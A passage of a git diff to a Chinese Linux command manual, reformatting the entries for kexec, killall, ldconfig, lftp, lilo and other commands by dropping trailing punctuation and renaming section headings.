@@ kernelversion ## 说明 -**kernelversion命令** 用于打印当前内核的主版本号。 +**kernelversion命令** 用于打印当前内核的主版本号 -### 语法 +## 选项 ``` kernelversion diff --git a/Linux_man_cn/kexec.md b/Linux_man_cn/kexec.md index 6055eac..f1917a1 100644 --- a/Linux_man_cn/kexec.md +++ b/Linux_man_cn/kexec.md @@ -5,11 +5,11 @@ kexec ## 说明 -**kexec命令** 是Linux内核的一个补丁,让您可以从当前正在运行的内核直接引导到一个新内核。在上面描述的引导序列中,kexec跳过了整个引导装载程序阶段(第一部分)并直接跳转到我们希望引导到的内核。不再有硬件的重启,不再有固件操作,不再涉及引导装载程序。完全避开了引导序列中最弱的一环 -- 固件。这一功能部件带来的最大益处在于,系统现在可以极其快速地重新启动。 +**kexec命令** 是Linux内核的一个补丁,让您可以从当前正在运行的内核直接引导到一个新内核。在上面描述的引导序列中,kexec跳过了整个引导装载程序阶段(第一部分)并直接跳转到我们希望引导到的内核。不再有硬件的重启,不再有固件操作,不再涉及引导装载程序。完全避开了引导序列中最弱的一环 -- 固件。这一功能部件带来的最大益处在于,系统现在可以极其快速地重新启动 - **kexec的好处:** 要求高可用性的系统,以及需要不断重新启动系统的内核开发人员,都将受益于kexec。因为 kexec跳过了系统重新启动过程中最耗时的部分(也就是固件初始化硬件设备的阶段),所以重新启动变得非常快,可用性得到了提高。 + **kexec的好处:** 要求高可用性的系统,以及需要不断重新启动系统的内核开发人员,都将受益于kexec。因为 kexec跳过了系统重新启动过程中最耗时的部分(也就是固件初始化硬件设备的阶段),所以重新启动变得非常快,可用性得到了提高 -### 语法 +## 选项 ``` kexec(选项) @@ -18,11 +18,11 @@ kexec(选项) ``` --l:指定内核映像文件; --e:允许当前被加载的内核; --f:强制立即调用系统调用“kexec”,而不调用“shutdown”; --t:指定新内核的类型; --u:卸载当前的kexec目标内核。 +-l:指定内核映像文件 +-e:允许当前被加载的内核 +-f:强制立即调用系统调用“kexec”,而不调用“shutdown” +-t:指定新内核的类型 +-u:卸载当前的kexec目标内核 ``` diff --git a/Linux_man_cn/killall.md b/Linux_man_cn/killall.md index ef4627b..88a6135 100644 --- a/Linux_man_cn/killall.md +++ b/Linux_man_cn/killall.md @@ -2,18 +2,18 @@ ## 说明 -**killall命令** 使用进程的名称来杀死进程,使用此指令可以杀死一组同名进程。我们可以使用kill命令杀死指定进程PID的进程,如果要找到我们需要杀死的进程,我们还需要在之前使用ps等命令再配合grep来查找进程,而killall把这两个过程合二为一,是一个很好用的命令。 +**killall命令** 使用进程的名称来杀死进程,使用此指令可以杀死一组同名进程。我们可以使用kill命令杀死指定进程PID的进程,如果要找到我们需要杀死的进程,我们还需要在之前使用ps等命令再配合grep来查找进程,而killall把这两个过程合二为一,是一个很好用的命令 ```sh --e:对长名称进行精确匹配; --l:忽略大小写的不同; --p:杀死进程所属的进程组; --i:交互式杀死进程,杀死进程前需要进行确认; --l:打印所有已知信号列表; --q:如果没有进程被杀死。则不输出任何信息; --r:使用正规表达式匹配要杀死的进程名称; --s:用指定的进程号代替默认信号“SIGTERM”; --u:杀死指定用户的进程。 +-e:对长名称进行精确匹配 +-l:忽略大小写的不同 +-p:杀死进程所属的进程组 +-i:交互式杀死进程,杀死进程前需要进行确认 +-l:打印所有已知信号列表 +-q:如果没有进程被杀死。则不输出任何信息 +-r:使用正规表达式匹配要杀死的进程名称 +-s:用指定的进程号代替默认信号“SIGTERM” +-u:杀死指定用户的进程 ``` diff --git a/Linux_man_cn/lastlog.md b/Linux_man_cn/lastlog.md index 1ad8119..891fd96 100644 --- a/Linux_man_cn/lastlog.md +++ b/Linux_man_cn/lastlog.md @@ -5,11 +5,11 @@ lastlog ## 说明 -**lastlog命令** 用于显示系统中所有用户最近一次登录信息。 +**lastlog命令** 用于显示系统中所有用户最近一次登录信息 -lastlog文件在每次有用户登录时被查询。可以使用lastlog命令检查某特定用户上次登录的时间,并格式化输出上次登录日志`/var/log/lastlog`的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog显示` **Never logged** `。注意需要以root身份运行该命令。 +lastlog文件在每次有用户登录时被查询。可以使用lastlog命令检查某特定用户上次登录的时间,并格式化输出上次登录日志`/var/log/lastlog`的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog显示` **Never logged** `。注意需要以root身份运行该命令 -### 语法 +## 选项 ``` lastlog(选项) @@ -18,13 +18,13 @@ lastlog(选项) ``` --b<天数>:显示指定天数前的登录信息; --h:显示召集令的帮助信息; --t<天数>:显示指定天数以来的登录信息; --u<用户名>:显示指定用户的最近登录信息。 +-b<天数>:显示指定天数前的登录信息 +-h:显示召集令的帮助信息 +-t<天数>:显示指定天数以来的登录信息 +-u<用户名>:显示指定用户的最近登录信息 ``` -### 实例 +## 实例 ``` lastlog diff --git a/Linux_man_cn/ld.md b/Linux_man_cn/ld.md index c81e991..a1ecd86 100644 --- a/Linux_man_cn/ld.md +++ b/Linux_man_cn/ld.md @@ -5,9 +5,9 @@ ld ## 说明 -**ld命令** 是GNU的连接器,将目标文件连接为可执行程序。 +**ld命令** 是GNU的连接器,将目标文件连接为可执行程序 -### 语法 +## 选项 ``` ld(选项)(参数) @@ -16,12 +16,12 @@ ld(选项)(参数) ``` --o:指定输出文件名; --e:指定程序的入口符号。 +-o:指定输出文件名 +-e:指定程序的入口符号 ``` ### 参数 -目标文件:指定需要连接的目标文件。 +目标文件:指定需要连接的目标文件 diff --git a/Linux_man_cn/ldconfig.md b/Linux_man_cn/ldconfig.md index 08a0052..7f1b808 100644 --- a/Linux_man_cn/ldconfig.md +++ b/Linux_man_cn/ldconfig.md @@ -5,11 +5,11 @@ ldconfig ## 说明 -**ldconfig命令** 的用途主要是在默认搜寻目录`/lib`和`/usr/lib`以及动态库配置文件`/etc/ld.so.conf`内所列的目录下,搜索出可共享的动态链接库(格式如lib*.so*),进而创建出动态装入程序(ld.so)所需的连接和缓存文件。缓存文件默认为`/etc/ld.so.cache`,此文件保存已排好序的动态链接库名字列表,为了让动态链接库为系统所共享,需运行动态链接库的管理命令ldconfig,此执行程序存放在`/sbin`目录下。 +**ldconfig命令** 的用途主要是在默认搜寻目录`/lib`和`/usr/lib`以及动态库配置文件`/etc/ld.so.conf`内所列的目录下,搜索出可共享的动态链接库(格式如lib*.so*),进而创建出动态装入程序(ld.so)所需的连接和缓存文件。缓存文件默认为`/etc/ld.so.cache`,此文件保存已排好序的动态链接库名字列表,为了让动态链接库为系统所共享,需运行动态链接库的管理命令ldconfig,此执行程序存放在`/sbin`目录下 -ldconfig通常在系统启动时运行,而当用户安装了一个新的动态链接库时,就需要手工运行这个命令。 +ldconfig通常在系统启动时运行,而当用户安装了一个新的动态链接库时,就需要手工运行这个命令 -### 语法 +## 选项 ``` ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|--print-cache] [-c FORMAT] [--format=FORMAT] [-V] -?|--[help|--usage] path... @@ -18,28 +18,28 @@ ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|- ``` --v或--verbose:用此选项时,ldconfig将显示正在扫描的目录及搜索到的动态链接库,还有它所创建的连接的名字。 --n:用此选项时,ldconfig仅扫描命令行指定的目录,不扫描默认目录(/lib、/usr/lib),也不扫描配置文件/etc/ld.so.conf所列的目录。 --N:此选项指示ldconfig不重建缓存文件(/etc/ld.so.cache),若未用-X选项,ldconfig照常更新文件的连接。 --X:此选项指示ldconfig不更新文件的连接,若未用-N选项,则缓存文件正常更新。 --f CONF:此选项指定动态链接库的配置文件为CONF,系统默认为/etc/ld.so.conf。 --C CACHE:此选项指定生成的缓存文件为CACHE,系统默认的是/etc/ld.so.cache,此文件存放已排好序的可共享的动态链接库的列表。 --r ROOT:此选项改变应用程序的根目录为ROOT(是调用chroot函数实现的)。选择此项时,系统默认的配置文件/etc/ld.so.conf,实际对应的为ROOT/etc/ld.so.conf。如用-r /usr/zzz时,打开配置文件/etc/ld.so.conf时,实际打开的是/usr/zzz/etc/ld.so.conf文件。用此选项,可以大大增加动态链接库管理的灵活性。 --l:通常情况下,ldconfig搜索动态链接库时将自动建立动态链接库的连接,选择此项时,将进入专家模式,需要手工设置连接,一般用户不用此项。 --p或--print-cache:此选项指示ldconfig打印出当前缓存文件所保存的所有共享库的名字。 --c FORMAT 或 --format=FORMAT:此选项用于指定缓存文件所使用的格式,共有三种:old(老格式),new(新格式)和compat(兼容格式,此为默认格式)。 --V:此选项打印出ldconfig的版本信息,而后退出。 --? 或 --help 或 --usage:这三个选项作用相同,都是让ldconfig打印出其帮助信息,而后退出。 +-v或--verbose:用此选项时,ldconfig将显示正在扫描的目录及搜索到的动态链接库,还有它所创建的连接的名字 +-n:用此选项时,ldconfig仅扫描命令行指定的目录,不扫描默认目录(/lib、/usr/lib),也不扫描配置文件/etc/ld.so.conf所列的目录 +-N:此选项指示ldconfig不重建缓存文件(/etc/ld.so.cache),若未用-X选项,ldconfig照常更新文件的连接 +-X:此选项指示ldconfig不更新文件的连接,若未用-N选项,则缓存文件正常更新 +-f CONF:此选项指定动态链接库的配置文件为CONF,系统默认为/etc/ld.so.conf +-C CACHE:此选项指定生成的缓存文件为CACHE,系统默认的是/etc/ld.so.cache,此文件存放已排好序的可共享的动态链接库的列表 +-r ROOT:此选项改变应用程序的根目录为ROOT(是调用chroot函数实现的)。选择此项时,系统默认的配置文件/etc/ld.so.conf,实际对应的为ROOT/etc/ld.so.conf。如用-r /usr/zzz时,打开配置文件/etc/ld.so.conf时,实际打开的是/usr/zzz/etc/ld.so.conf文件。用此选项,可以大大增加动态链接库管理的灵活性 +-l:通常情况下,ldconfig搜索动态链接库时将自动建立动态链接库的连接,选择此项时,将进入专家模式,需要手工设置连接,一般用户不用此项 +-p或--print-cache:此选项指示ldconfig打印出当前缓存文件所保存的所有共享库的名字 +-c FORMAT 或 --format=FORMAT:此选项用于指定缓存文件所使用的格式,共有三种:old(老格式),new(新格式)和compat(兼容格式,此为默认格式) +-V:此选项打印出ldconfig的版本信息,而后退出 +-? 或 --help 或 --usage:这三个选项作用相同,都是让ldconfig打印出其帮助信息,而后退出 ``` **ldconfig几个需要注意的地方:** -1. 往`/lib`和`/usr/lib`里面加东西,是不用修改`/etc/ld.so.conf`的,但是完了之后要调一下ldconfig,不然这个library会找不到。 -2. 想往上面两个目录以外加东西的时候,一定要修改`/etc/ld.so.conf`,然后再调用ldconfig,不然也会找不到。 -3. 比如安装了一个mysql到`/usr/local/mysql`,mysql有一大堆library在`/usr/local/mysql/lib`下面,这时就需要在`/etc/ld.so.conf`下面加一行`/usr/local/mysql/lib`,保存过后ldconfig一下,新的library才能在程序运行时被找到。 -4. 如果想在这两个目录以外放lib,但是又不想在`/etc/ld.so.conf`中加东西(或者是没有权限加东西)。那也可以,就是export一个全局变量LD_LIBRARY_PATH,然后运行程序的时候就会去这个目录中找library。一般来讲这只是一种临时的解决方案,在没有权限或临时需要的时候使用。 -5. ldconfig做的这些东西都与运行程序时有关,跟编译时一点关系都没有。编译的时候还是该加-L就得加,不要混淆了。 -6. 总之,就是不管做了什么关于library的变动后,最好都ldconfig一下,不然会出现一些意想不到的结果。不会花太多的时间,但是会省很多的事。 -7. 再有,诸如libdb-4.3.so文件头中是会含有库名相关的信息的(即含“libdb-4.3.so”,可用strings命令察看),因此仅通过修改文件名以冒充某已被识别的库(如libdb-4.8.so)是行不通的。为此可在编译库的Makefile中直接修改配置信息,指定特别的库名。 +1. 往`/lib`和`/usr/lib`里面加东西,是不用修改`/etc/ld.so.conf`的,但是完了之后要调一下ldconfig,不然这个library会找不到 +2. 想往上面两个目录以外加东西的时候,一定要修改`/etc/ld.so.conf`,然后再调用ldconfig,不然也会找不到 +3. 比如安装了一个mysql到`/usr/local/mysql`,mysql有一大堆library在`/usr/local/mysql/lib`下面,这时就需要在`/etc/ld.so.conf`下面加一行`/usr/local/mysql/lib`,保存过后ldconfig一下,新的library才能在程序运行时被找到 +4. 如果想在这两个目录以外放lib,但是又不想在`/etc/ld.so.conf`中加东西(或者是没有权限加东西)。那也可以,就是export一个全局变量LD_LIBRARY_PATH,然后运行程序的时候就会去这个目录中找library。一般来讲这只是一种临时的解决方案,在没有权限或临时需要的时候使用 +5. ldconfig做的这些东西都与运行程序时有关,跟编译时一点关系都没有。编译的时候还是该加-L就得加,不要混淆了 +6. 总之,就是不管做了什么关于library的变动后,最好都ldconfig一下,不然会出现一些意想不到的结果。不会花太多的时间,但是会省很多的事 +7. 再有,诸如libdb-4.3.so文件头中是会含有库名相关的信息的(即含“libdb-4.3.so”,可用strings命令察看),因此仅通过修改文件名以冒充某已被识别的库(如libdb-4.8.so)是行不通的。为此可在编译库的Makefile中直接修改配置信息,指定特别的库名 diff --git a/Linux_man_cn/less.md b/Linux_man_cn/less.md index 45c7236..ccc8a5f 100644 --- a/Linux_man_cn/less.md +++ b/Linux_man_cn/less.md @@ -5,9 +5,9 @@ less ## 说明 -**less命令** 的作用与more十分相似,都可以用来浏览文字档案的内容,不同的是less命令允许用户向前或向后浏览文件,而more命令只能向前浏览。用less命令显示文件时,用PageUp键向上翻页,用PageDown键向下翻页。要退出less程序,应按Q键。 +**less命令** 的作用与more十分相似,都可以用来浏览文字档案的内容,不同的是less命令允许用户向前或向后浏览文件,而more命令只能向前浏览。用less命令显示文件时,用PageUp键向上翻页,用PageDown键向下翻页。要退出less程序,应按Q键 -### 语法 +## 选项 ``` less(选项)(参数) @@ -16,18 +16,18 @@ less(选项)(参数) ``` --e:文件内容显示完毕后,自动退出; --f:强制显示文件; --g:不加亮显示搜索到的所有关键词,仅显示当前显示的关键字,以提高显示速度; --l:搜索时忽略大小写的差异; --N:每一行行首显示行号; --s:将连续多个空行压缩成一行显示; --S:在单行显示较长的内容,而不换行显示; --x<数字>:将TAB字符显示为指定个数的空格字符。 +-e:文件内容显示完毕后,自动退出 +-f:强制显示文件 +-g:不加亮显示搜索到的所有关键词,仅显示当前显示的关键字,以提高显示速度 +-l:搜索时忽略大小写的差异 +-N:每一行行首显示行号 +-s:将连续多个空行压缩成一行显示 +-S:在单行显示较长的内容,而不换行显示 +-x<数字>:将TAB字符显示为指定个数的空格字符 ``` ### 参数 -文件:指定要分屏显示内容的文件。 +文件:指定要分屏显示内容的文件 diff --git a/Linux_man_cn/let.md b/Linux_man_cn/let.md index 615f0e9..d4041e4 100644 --- a/Linux_man_cn/let.md +++ b/Linux_man_cn/let.md @@ -5,9 +5,9 @@ let ## 说明 -**let命令** 是bash中用于计算的工具,提供常用运算符还提供了方幂`**`运算符。在变量的房屋计算中不需要加上`$`来表示变量,如果表达式的值是非0,那么返回的状态值是0;否则,返回的状态值是1。 +**let命令** 是bash中用于计算的工具,提供常用运算符还提供了方幂`**`运算符。在变量的房屋计算中不需要加上`$`来表示变量,如果表达式的值是非0,那么返回的状态值是0;否则,返回的状态值是1 -### 语法 +## 选项 ``` let arg [arg ...] #arg代表运算式 @@ -19,7 +19,7 @@ let arg [arg ...] #arg代表运算式 自减操作`let no--` 简写形式`let no+=10`,`let no-=20`,分别等同于`let no=no+10,``let no=no-20` -### 实例 +## 实例 ``` #!/bin/bash diff --git a/Linux_man_cn/lftp.md b/Linux_man_cn/lftp.md index 44780e9..01595d0 100644 --- a/Linux_man_cn/lftp.md +++ b/Linux_man_cn/lftp.md @@ -5,9 +5,9 @@ lftp ## 说明 -**lftp命令** 是一款优秀的文件客户端程序,它支持ftp、SETP、HTTP和FTPs等多种文件传输协议。lftp支持tab自动补全,记不得命令双击tab键,就可以看到可能的选项了。 +**lftp命令** 是一款优秀的文件客户端程序,它支持ftp、SETP、HTTP和FTPs等多种文件传输协议。lftp支持tab自动补全,记不得命令双击tab键,就可以看到可能的选项了 -### 语法 +## 选项 ``` lftp(选项)(参数) @@ -16,17 +16,17 @@ lftp(选项)(参数) ``` --f:指定lftp指令要执行的脚本文件; --c:执行指定的命令后退出; ---help:显示帮助信息; ---version:显示指令的版本号。 +-f:指定lftp指令要执行的脚本文件 +-c:执行指定的命令后退出 +--help:显示帮助信息 +--version:显示指令的版本号 ``` ### 参数 -站点:要访问的站点的ip地址或者域名。 +站点:要访问的站点的ip地址或者域名 -### 实例 +## 实例 **登录ftp** @@ -34,7 +34,7 @@ lftp(选项)(参数) lftp 用户名:密码@ftp地址:传送端口(默认21) ``` -也可以先不带用户名登录,然后在接口界面下用login命令来用指定账号登录,密码不显示。 +也可以先不带用户名登录,然后在接口界面下用login命令来用指定账号登录,密码不显示 **查看文件与改变目录** @@ -48,20 +48,20 @@ cd 对应ftp目录 get当然是可以的,还可以: ``` -mget -c *.pdf #把所有的pdf文件以允许断点续传的方式下载。 -mirror aaa/ #将aaa目录整个的下载下来,子目录也会自动复制。 -pget -c -n 10 file.dat #以最多10个线程以允许断点续传的方式下载file.dat,可以通过设置pget:default-n的值而使用默认值。 +mget -c *.pdf #把所有的pdf文件以允许断点续传的方式下载 +mirror aaa/ #将aaa目录整个的下载下来,子目录也会自动复制 +pget -c -n 10 file.dat #以最多10个线程以允许断点续传的方式下载file.dat,可以通过设置pget:default-n的值而使用默认值 ``` **上传** -同样的put、mput都是对文件的操作,和下载类似。 +同样的put、mput都是对文件的操作,和下载类似 ``` mirror -R 本地目录名 ``` -将本地目录以迭代(包括子目录)的方式反向上传到ftp site。 +将本地目录以迭代(包括子目录)的方式反向上传到ftp site **模式设置** @@ -69,19 +69,19 @@ mirror -R 本地目录名 set ftp:charset gbk ``` -远程ftp site用gbk编码,对应的要设置为utf8,只要替换gbk为utf8即可。 +远程ftp site用gbk编码,对应的要设置为utf8,只要替换gbk为utf8即可 ``` set file:charset utf8 ``` -本地的charset设定为utf8,如果你是gbk,相应改掉。 +本地的charset设定为utf8,如果你是gbk,相应改掉 ``` set ftp:passive-mode 1 ``` -使用被动模式登录,有些site要求必须用被动模式或者主动模式才可以登录,这个开关就是设置这个的。0代表不用被动模式。 +使用被动模式登录,有些site要求必须用被动模式或者主动模式才可以登录,这个开关就是设置这个的。0代表不用被动模式 **书签** @@ -91,13 +91,13 @@ set ftp:passive-mode 1 bookmark add ustc ``` -就可以把当前正在浏览的ftp site用ustc作为标签储存起来。以后在shell终端下,直接`lftp ustc`就可以自动填好用户名和密码,进入对应的目录了。 +就可以把当前正在浏览的ftp site用ustc作为标签储存起来。以后在shell终端下,直接`lftp ustc`就可以自动填好用户名和密码,进入对应的目录了 ``` bookmark edit ``` -会调用编辑器手动修改书签。当然,也可以看到,这个书签其实就是个简单的文本文件。密码,用户名都可以看到。 +会调用编辑器手动修改书签。当然,也可以看到,这个书签其实就是个简单的文本文件。密码,用户名都可以看到 **配置文件** @@ -113,6 +113,6 @@ set file:charset utf8 set pget:default-n 5 ``` -这样,就不用每次进入都要打命令了。其他的set可以自己tab然后help来看。 +这样,就不用每次进入都要打命令了。其他的set可以自己tab然后help来看 diff --git a/Linux_man_cn/lftpget.md b/Linux_man_cn/lftpget.md index 8ea6aa1..ac1b36b 100644 --- a/Linux_man_cn/lftpget.md +++ b/Linux_man_cn/lftpget.md @@ -5,9 +5,9 @@ lftpget ## 说明 -**lftpget命令** 通过调用lftp指令下载指定的文件。 +**lftpget命令** 通过调用lftp指令下载指定的文件 -### 语法 +## 选项 ``` lftpget(选项)(参数) @@ -16,13 +16,13 @@ lftpget(选项)(参数) ``` --c:继续先前的下载; --d:输出调试信息; --v:输出详细信息。 +-c:继续先前的下载 +-d:输出调试信息 +-v:输出详细信息 ``` ### 参数 -文件:指定要下载的文件,文件必须是合法的URL路径。 +文件:指定要下载的文件,文件必须是合法的URL路径 diff --git a/Linux_man_cn/lha.md b/Linux_man_cn/lha.md index 538ff6f..01d14f9 100644 --- a/Linux_man_cn/lha.md +++ b/Linux_man_cn/lha.md @@ -5,36 +5,36 @@ lha ## 说明 -**lha命令** 是从lharc演变而来的压缩程序,文件经它压缩后,会另外产生具有`.lzh`扩展名的压缩文件。 +**lha命令** 是从lharc演变而来的压缩程序,文件经它压缩后,会另外产生具有`.lzh`扩展名的压缩文件 ``` --a或a:压缩文件,并加入到压缩文件内。 --a<0/1/2>/u 压缩文件时,采用不同的文件头。 --c或c:压缩文件,重新建构新的压缩文件后,再将其加入。 --d或d:从压缩文件内删除指定的文件。 --d或d:压缩文件,然后将其加入,重新建构,更新压缩文件或,删除原始文件,也就是把文件移到压缩文件中。 --e或e:解开压缩文件。 --f或f:强制执行lha命令,在解压时会直接覆盖已有的文件而不加以询问。 --g或g:使用通用的压缩格式,便于解决兼容性的问题。 --i或i:解开压缩文件时,忽略保存在压缩文件内的文件路径,直接将其解压后存放在现行目录下或是指定的目录中。 --l或l:列出压缩文件的相关信息。 --m或m:此选项的效果和同时指定"-ad"选项相同。 --n或n:不执行指令,仅列出实际执行会进行的动作。 --o或o:采用lharc兼容格式,将压缩后的文件加入,更新压缩文件。 --p或p:从压缩文件内输出到标准输出设备。 --q或q:不显示指令执行过程。 --t或t:检查备份文件内的每个文件是否正确无误。 --u或u:更换较新的文件到压缩文件内。 --u或u:在文件压缩时采用不同的文件头,然后更新到压缩文件内。 --v或v:详细列出压缩文件的相关信息。 --w=<目的目录>或w=<目的目录>:指定解压缩的目录。 --x或x:解开压缩文件。 --z或z:不压缩文件,直接把它加入,更新压缩文件。 +-a或a:压缩文件,并加入到压缩文件内 +-a<0/1/2>/u 压缩文件时,采用不同的文件头 +-c或c:压缩文件,重新建构新的压缩文件后,再将其加入 +-d或d:从压缩文件内删除指定的文件 +-d或d:压缩文件,然后将其加入,重新建构,更新压缩文件或,删除原始文件,也就是把文件移到压缩文件中 +-e或e:解开压缩文件 +-f或f:强制执行lha命令,在解压时会直接覆盖已有的文件而不加以询问 +-g或g:使用通用的压缩格式,便于解决兼容性的问题 +-i或i:解开压缩文件时,忽略保存在压缩文件内的文件路径,直接将其解压后存放在现行目录下或是指定的目录中 +-l或l:列出压缩文件的相关信息 +-m或m:此选项的效果和同时指定"-ad"选项相同 +-n或n:不执行指令,仅列出实际执行会进行的动作 +-o或o:采用lharc兼容格式,将压缩后的文件加入,更新压缩文件 +-p或p:从压缩文件内输出到标准输出设备 +-q或q:不显示指令执行过程 +-t或t:检查备份文件内的每个文件是否正确无误 +-u或u:更换较新的文件到压缩文件内 +-u或u:在文件压缩时采用不同的文件头,然后更新到压缩文件内 +-v或v:详细列出压缩文件的相关信息 +-w=<目的目录>或w=<目的目录>:指定解压缩的目录 +-x或x:解开压缩文件 +-z或z:不压缩文件,直接把它加入,更新压缩文件 ``` -### 实例 +## 实例 ``` lha -a abc.lhz a.b #压缩a.b文件,压缩后生成 abc.lhz 文件 diff --git a/Linux_man_cn/lilo.md b/Linux_man_cn/lilo.md index a6438a0..fe3349e 100644 --- a/Linux_man_cn/lilo.md +++ b/Linux_man_cn/lilo.md @@ -5,13 +5,13 @@ lilo ## 说明 -**lilo命令** 用于安装核心载入,开机管理程序。lilo是个Linux系统核心载入程序,同时具备管理开机的功能。单独执行lilo指令,它会读取/etc/lilo.conf配置文件,然后根据其内容安装lilo。 +**lilo命令** 用于安装核心载入,开机管理程序。lilo是个Linux系统核心载入程序,同时具备管理开机的功能。单独执行lilo指令,它会读取/etc/lilo.conf配置文件,然后根据其内容安装lilo -Linux lilo已经成为所有 Linux 发行版的标准组成部分。作为一个 较老的/最老的 Linux 引导加载程序,它那不断壮大的 Linux 社区支持使它能够随时间的推移而发展,并始终能够充当一个可用的现代引导加载程序。有一些新的功能,比如增强的用户界面,以及对能够突破原来 1024-柱面限制的新 BIOS 功能的利用。 +Linux lilo已经成为所有 Linux 发行版的标准组成部分。作为一个 较老的/最老的 Linux 引导加载程序,它那不断壮大的 Linux 社区支持使它能够随时间的推移而发展,并始终能够充当一个可用的现代引导加载程序。有一些新的功能,比如增强的用户界面,以及对能够突破原来 1024-柱面限制的新 BIOS 功能的利用 -虽然 LILO 仍在不断地发展,但 LILO 工作原理的基本概念保持不变。 +虽然 LILO 仍在不断地发展,但 LILO 工作原理的基本概念保持不变 -### 语法 +## 选项 ``` lilo(选项) @@ -20,34 +20,34 @@ lilo(选项) ``` --b<外围设备代号>:指定安装lilo之处的外围设备代号; --c:使用紧致映射模式; --C<配置文件>:指定lilo的配置文件; --d<延迟时间>:设置开机延迟时间; --D<识别标签>:指定开机后预设启动的操作系统,或系统核心识别标签; --f<几何参数文件>:指定磁盘的几何参数配置文件; --i<开机磁区文件>:指定欲使用的开机磁区文件,预设是/boot目录里的boot.b文件; --I<识别标签>:显示系统核心存放之处; --l:产生线形磁区地址; --m<映射文件>:指定映射文件; --P:决定要修复或忽略分区表的错误; --q:列出映射的系统核心文件; --r<根目录>:设置系统启动时欲挂入成为根目录的目录; --R<执行指令>:设置下次启动系统时,首先执行的指令; --s<备份文件>:指定备份文件; --S<备份文件>:强制指定备份文件; --t:不执行指令,仅列出实际执行会进行的动作; --u<外围色设备代号>:删除lilo; --U<外围设备代号>:此选项的效果和指定"-u"参数类似,当不检查时间戳记; --v:显示指令执行过程; --V:显示版本信息。 +-b<外围设备代号>:指定安装lilo之处的外围设备代号 +-c:使用紧致映射模式 +-C<配置文件>:指定lilo的配置文件 +-d<延迟时间>:设置开机延迟时间 +-D<识别标签>:指定开机后预设启动的操作系统,或系统核心识别标签 +-f<几何参数文件>:指定磁盘的几何参数配置文件 +-i<开机磁区文件>:指定欲使用的开机磁区文件,预设是/boot目录里的boot.b文件 +-I<识别标签>:显示系统核心存放之处 +-l:产生线形磁区地址 +-m<映射文件>:指定映射文件 +-P:决定要修复或忽略分区表的错误 +-q:列出映射的系统核心文件 +-r<根目录>:设置系统启动时欲挂入成为根目录的目录 +-R<执行指令>:设置下次启动系统时,首先执行的指令 +-s<备份文件>:指定备份文件 +-S<备份文件>:强制指定备份文件 +-t:不执行指令,仅列出实际执行会进行的动作 +-u<外围色设备代号>:删除lilo +-U<外围设备代号>:此选项的效果和指定"-u"参数类似,当不检查时间戳记 +-v:显示指令执行过程 +-V:显示版本信息 ``` -### 实例 +## 实例 **使用 LILO 作为引导加载程序** -要使用 LILO 作为引导加载程序,需要做的事情取决于是要进行全新安装还是要让已经安装的 Linux 改为使用 LILO。如果是要进行全新安装,那么直接跳转到 配置 LILO 那一节。如果已经安装了某个 Linux 发行版,那么通常可以选择安装并配置 LILO(并可以将机器引导到新的 Linux 安装)。 +要使用 LILO 作为引导加载程序,需要做的事情取决于是要进行全新安装还是要让已经安装的 Linux 改为使用 LILO。如果是要进行全新安装,那么直接跳转到 配置 LILO 那一节。如果已经安装了某个 Linux 发行版,那么通常可以选择安装并配置 LILO(并可以将机器引导到新的 Linux 安装) 要将现有的 Linux 迁移到 LILO,首先必须获得最新版本的 LILO(见 参考资料)。在做任何其他事情之前,建议您确保在手边拥有一张 Linux 引导盘 —— 如果偶而弄错了某些地方,它可以提供很大的帮助,能够恢复到初始的 Linux 配置!将 LILO 安装到系统中之后,让它接管 MBR 非常简单。以 root 用户身份输入: @@ -55,15 +55,15 @@ lilo(选项) /sbin/lilo -v -v ``` -这将使用当前的 LILO 默认值,抹去 MBR 中当前所有内容。不过,请阅读 配置 LILO,以确保能够按预期引导起来。也要注意,如果想要在同一机器上运行 Windows 和 Linux,那么应该先安装 Windows OS,然后再安装 Linux OS,这样,在 Linux 安装中所选择的引导加载程序就不会被 Windows 引导加载程序所覆盖。与 Linux 引导加载程序不同,多数 Window 引导加载程序不支持引导 Linux。如果已经先安装了 Linux,那么只需要自己创建一张 Linux 引导盘,这样就可以在安装完 Windows 之后,回到 Linux 安装中并重写 MBR。 +这将使用当前的 LILO 默认值,抹去 MBR 中当前所有内容。不过,请阅读 配置 LILO,以确保能够按预期引导起来。也要注意,如果想要在同一机器上运行 Windows 和 Linux,那么应该先安装 Windows OS,然后再安装 Linux OS,这样,在 Linux 安装中所选择的引导加载程序就不会被 Windows 引导加载程序所覆盖。与 Linux 引导加载程序不同,多数 Window 引导加载程序不支持引导 Linux。如果已经先安装了 Linux,那么只需要自己创建一张 Linux 引导盘,这样就可以在安装完 Windows 之后,回到 Linux 安装中并重写 MBR **配置 LILO** LILO 的配置都是通过位于 /etc/lilo.conf 的一个配置文件来完成的。清单 1 给出了一个示例配置,使用的是我的家用机器,支持 Linux 和 Windows 机器的双重引导。了解我的工作站的基本配置,就可以想像出这些配置是如何与实际机器相关联的: -主 HDD(物理磁盘 1)上安装了 Windows XP(最初机器上只有它)。在 Linux 术语中,这个 HDD 是 /dev/hda(在 grub 术语中是 hd0,0)。 +主 HDD(物理磁盘 1)上安装了 Windows XP(最初机器上只有它)。在 Linux 术语中,这个 HDD 是 /dev/hda(在 grub 术语中是 hd0,0) -从 HDD(物理磁盘 2)上安装了 Red Hat Linux;root 分区位于这个硬盘驱动器的第三个分区,即 /dev/hdb3(在 GRUB 术语中是 hd1,3)。 +从 HDD(物理磁盘 2)上安装了 Red Hat Linux;root 分区位于这个硬盘驱动器的第三个分区,即 /dev/hdb3(在 GRUB 术语中是 hd1,3) lilo.conf 示例文件: @@ -86,20 +86,20 @@ other=/dev/hda 配置文件选项说明: -* boot= 行告诉 LILO 在哪里安装引导加载程序。在上面的示例中,将把它安装到第一块硬盘的 MBR。也可以选择将 LILO 安装到 /dev/hdb3(示例中的 Linux 分区),这样需要向 /dev/hda 安装另一个引导加载程序,并令其指向 LILO 引导加载程序;然后只需要让 LILO 作为二级引导加载程序。通常,引导加载程序应该位于 /dev/hda。还可以将这个参数指向软盘驱动器(最常见的是 /dev/fd0),来制做 LILO 软盘引导磁盘。 +* boot= 行告诉 LILO 在哪里安装引导加载程序。在上面的示例中,将把它安装到第一块硬盘的 MBR。也可以选择将 LILO 安装到 /dev/hdb3(示例中的 Linux 